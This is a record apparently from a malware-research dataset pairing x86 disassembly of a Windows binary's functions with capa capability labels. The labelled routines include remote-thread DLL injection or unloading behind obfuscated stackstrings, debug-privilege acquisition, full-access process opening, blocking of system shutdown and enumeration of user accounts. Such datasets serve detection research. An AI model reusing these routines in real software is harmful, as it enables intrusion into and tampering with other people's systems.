joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41b183
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x214], 0
push 0x4039f0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push 0x104
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x108], 0
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x210], eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x41b23b
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
je 0x41b23b
jmp 0x41b2db
mov eax, dword [ebp - 0x210]
mov byte [eax], 0x89
mov dword [ebp - 0x218], 1
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x20c]
push eax
mov ecx, dword [ebp - 0x210]
add ecx, dword [ebp - 0x218]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x218]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x218], edx
push 0x42
mov eax, dword [ebp - 0x218]
push eax
mov ecx, dword [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov dword [ebp - 0x210], eax
mov edx, dword [ebp - 0x218]
push edx
mov eax, dword [ebp - 0x210]
push eax
mov ecx, dword [ebp - 0x21c]
call fcn.00410893
mov ecx, dword [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esp, ebp
pop ebp
ret

Function at 0x41b2df
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov dword [ebp - 0x118], ecx
push 9
push 0
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov byte [ebp - 0x110], 0x70
push 0x104
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, dword [ebp - 0x118]
add edx, 0x24
push edx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0xffffffff
jne 0x41b37b
mov edx, dword [ebp - 0x118]
mov dword [edx + 0x128], 0
mov dword [edx + 0x12c], 0
jmp 0x41b3a9
mov eax, dword [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 9
lea ecx, [ebp - 0x110]
push ecx
mov ecx, dword [ebp - 0x118]
call fcn.00410893
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esp, ebp
pop ebp
ret
Function at 0x41b3ad
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov dword [ebp - 0x9c], 0x9c
lea eax, [ebp - 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x98], 5
jne 0x41b3eb
cmp dword [ebp - 0x94], 1
jne 0x41b3eb
mov dword [ebp - 0xa0], 1
jmp 0x41b3f5
mov dword [ebp - 0xa0], 0
mov al, byte [ebp - 0xa0]
mov esp, ebp
pop ebp
ret

Function at 0x41b452
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 4], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x41b4ea
mov dword [ebp - 0x138], 0x128
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 8]
push ecx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 0xc], eax
jmp 0x41b4a6
lea edx, [ebp - 0x138]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x41b4d5
lea ecx, [ebp - 0x114]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x41b4d3
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 1
jmp 0x41b4d5
jmp 0x41b493
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 1
jne 0x41b4ea
mov eax, dword [ebp - 0x10]
jmp 0x41b4ec
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x41b4f0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push edi
mov dword [ebp - 8], 0
mov dword [ebp - 0x22c], 0
mov ecx, 0x88
xor eax, eax
lea edi, [ebp - 0x228]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
mov dword [ebp - 0x22c], 0x224
lea ecx, [ebp - 0x22c]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x41b57a
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x41b566
mov edx, dword [ebp - 0x210]
mov dword [ebp - 8], edx
jmp 0x41b57a
lea eax, [ebp - 0x22c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x41b546
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x41b58c
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
cmp dword [ebp + 0xc], 0
jne 0x41b59f
xor al, al
jmp 0x41b692
mov eax, dword [ebp + 8]
push eax
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x41b5bd
xor al, al
jmp 0x41b692
mov byte [ebp - 0x28], 0x6b
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x33
mov byte [ebp - 0x21], 0x32
mov byte [ebp - 0x20], 0x2e
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1e], 0x6c
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0
mov byte [ebp - 0x10], 0x46
mov byte [ebp - 0xf], 0x72
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x4c
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x62
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x61
mov byte [ebp - 7], 0x72
mov byte [ebp - 6], 0x79
mov byte [ebp - 5], 0
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x18], eax
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x41b670
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x41b692
push 0xffffffffffffffff
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x41b696
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov dword [ebp - 4], 0
mov dword [ebp - 0x12c], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 0x130]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x41b72d
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x124]
push eax
call fcn.0041b4f0
add esp, 8
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
je 0x41b716
mov ecx, dword [ebp - 0x134]
push ecx
mov edx, dword [ebp - 0x124]
push edx
call fcn.0041b58c
add esp, 8
and eax, 0xff
mov dword [ebp - 4], eax
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 0x130]
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x41b6d6
mov edx, dword [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], 0
setne al
mov esp, ebp
pop ebp
ret
Function at 0x41b747
Capabilities:
Acquire debug privileges
Enumerate gui resources
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push 0x104
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x403a00
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
push 0x403a10
call fcn.0041e39a
add esp, 8
lea edx, [ebp - 0x108]
push edx
call fcn.0041b696
add esp, 4
and eax, 0xff
test eax, eax
jne 0x41b7a0
jmp 0x41b830
push 0
push 0x403a24
call fcn.0041e39a
add esp, 8
push 1
push 0x403a38
call fcn.0041e39a
add esp, 8
push 0x403a4c
call fcn.0041b452
add esp, 4
mov dword [ebp - 4], eax
push 0
call dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownA]
test eax, eax
jne 0x41b821
push 0x403a58
call fcn.0041b452
add esp, 4
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x41b808
mov eax, dword [ebp - 0x10c]
push eax
push 0x41b3ff
call dword [sym.imp.USER32.dll_EnumWindows]
mov ecx, dword [ebp - 4]
push ecx
push 0x41b3ff
call dword [sym.imp.USER32.dll_EnumWindows]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x41b7ce
push 0
push 0x403a68
call fcn.0041e39a
add esp, 8
mov esp, ebp
pop ebp
ret

Function at 0x41b834
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41b88d
push 0x10010
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x41b883
push 0
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esp, ebp
pop ebp
ret
Function at 0x41b891
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427ace
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x390
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x3a0], ecx
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_atoi
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jbe 0x41cbb6
cmp dword [ebp - 0x14], 0xffff
jae 0x41cbb6
push 0x104
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x403a7c
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
call fcn.0041b3ad
and eax, 0xff
test eax, eax
je 0x41b977
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x41b965
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
je 0x41b951
mov edx, dword [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x41b963
mov ecx, dword [ebp - 0x3a0]
call fcn.0041b183
xor eax, eax
jmp 0x41cbc9
jmp 0x41b977
mov ecx, dword [ebp - 0x3a0]
call fcn.0041b183
xor eax, eax
jmp 0x41cbc9
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x3a0]
call fcn.0041a33e
mov dword [ebp - 4], 0
mov ecx, 1
test ecx, ecx
je 0x41b9b1
mov dword [ebp - 0x39c], 0x18
push 0x427c68
lea edx, [ebp - 0x39c]
push edx
call sub.MSVCRT.dll__CxxThrowException
jmp 0x41cbaf
mov dword [ebp - 4], 0xffffffff
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3a0]
call fcn.0041a2b2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x41d630
Capabilities:
List user accounts

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
push ecx
push 2
mov edx, dword [ebp - 4]
push edx
push 0
call sub.NETAPI32.dll_NetUserEnum
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x41d693
cmp dword [ebp - 0x1c], 0xea
jne 0x41d6f9
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x41d6f9
mov dword [ebp - 0x24], 0
jmp 0x41d6b1
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x18]
jae 0x41d6f9
push 0x50
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push ecx
mov edx, dword [0x429a14]
imul edx, edx, 0x32
add edx, 0x429a18
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [0x429a14]
add ecx, 1
mov dword [0x429a14], ecx
call sub.MSVCRT.dll_wcstombs
add esp, 0xc
mov edx, dword [ebp - 8]
add edx, 4
mov dword [ebp - 8], edx
jmp 0x41d6a8
cmp dword [ebp - 0x10], 0
je 0x41d70f
mov eax, dword [ebp - 0x10]
push eax
call sub.NETAPI32.dll_NetApiBufferFree
mov dword [ebp - 0x10], 0
cmp dword [ebp - 0x1c], 0xea
je 0x41d660
cmp dword [ebp - 0x10], 0
je 0x41d72b
mov ecx, dword [ebp - 0x10]
push ecx
call sub.NETAPI32.dll_NetApiBufferFree
mov eax, dword [0x429a14]
mov esp, ebp
pop ebp
ret
Function at 0x41e009
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x24], ecx
push 0x403f4c
push 0x403f54
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x403f64
push 0x403f78
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x14], 0x43
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x48
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x64
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0
lea eax, [ebp - 0x14]
push eax
push 0x403f88
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0
push 1
push 0x403f98
call fcn.0041e39a
add esp, 8
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1c], 0
jmp 0x41e0d6
mov ecx, dword [ebp - 0x1c]
add ecx, 4
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp + 0xc]
jae 0x41e109
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push ecx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x18], eax
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
push eax
call dword [ebp - 4]
jmp 0x41e0cd
push 0
push 0x403fac
call fcn.0041e39a
add esp, 8
push 0xa
call dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
call fcn.0041d871
mov ecx, dword [ebp - 0x24]
call fcn.0041db0e
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x41e39a
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
mov byte [ebp - 0x48], 0x47
mov byte [ebp - 0x47], 0x65
mov byte [ebp - 0x46], 0x74
mov byte [ebp - 0x45], 0x4c
mov byte [ebp - 0x44], 0x61
mov byte [ebp - 0x43], 0x73
mov byte [ebp - 0x42], 0x74
mov byte [ebp - 0x41], 0x45
mov byte [ebp - 0x40], 0x72
mov byte [ebp - 0x3f], 0x72
mov byte [ebp - 0x3e], 0x6f
mov byte [ebp - 0x3d], 0x72
mov byte [ebp - 0x3c], 0
lea eax, [ebp - 0x48]
push eax
push 0x4040f0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x18], 0x41
mov byte [ebp - 0x17], 0x44
mov byte [ebp - 0x16], 0x56
mov byte [ebp - 0x15], 0x41
mov byte [ebp - 0x14], 0x50
mov byte [ebp - 0x13], 0x49
mov byte [ebp - 0x12], 0x33
mov byte [ebp - 0x11], 0x32
mov byte [ebp - 0x10], 0x2e
mov byte [ebp - 0xf], 0x64
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0
push 0x404100
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0x404118
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x50], eax
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x404130
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x28], 0x43
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x73
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x48
mov byte [ebp - 0x22], 0x61
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0x64
mov byte [ebp - 0x1f], 0x6c
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0
lea ecx, [ebp - 0x28]
push ecx
push 0x404144
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
mov dword [ebp - 0x4c], 1
lea edx, [ebp - 0x58]
push edx
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 0x1c]
test eax, eax
jne 0x41e4f3
mov dword [ebp - 0x4c], 0
xor eax, eax
cmp dword [ebp - 0x4c], 0
setne al
jmp 0x41e545
mov dword [ebp - 0x38], 1
mov eax, dword [ebp + 0xc]
neg eax
sbb eax, eax
and eax, 2
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
call dword [ebp - 0x50]
push 0
push 0
push 0x10
lea eax, [ebp - 0x38]
push eax
push 0
mov ecx, dword [ebp - 0x58]
push ecx
call dword [ebp - 4]
call dword [ebp - 0x54]
test eax, eax
je 0x41e535
mov dword [ebp - 0x4c], 0
mov edx, dword [ebp - 0x58]
push edx
call dword [ebp - 8]
xor eax, eax
cmp dword [ebp - 0x4c], 0
setne al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41e612
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0x10], ecx
mov dl, byte [ebp + 0x20]
mov byte [ebp - 0xc], dl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
lea edx, [ebp - 0x14]
push edx
push 0x41e5c0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll__beginthreadex
add esp, 0x18
mov dword [ebp - 4], eax
push 0xffffffffffffffff
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x41e683
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
push 0x128
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ecx], 0x128
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x41e727
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
add edx, 0x24
push edx
call sub.MSVCRT.dll__strcmpi
add esp, 8
test eax, eax
jne 0x41e6f1
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
jmp 0x41e72a
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x41e727
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
add edx, 0x24
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x41e725
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
jmp 0x41e72a
jmp 0x41e6f1
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x41e72e
Capabilities:
Get session information
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
push 5
push 0xffffffffffffffff
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x41e78b
push 0x100
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 8]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, dword [ebp - 0xc]
jmp 0x41e78d
xor eax, eax
mov esp, ebp
pop ebp
ret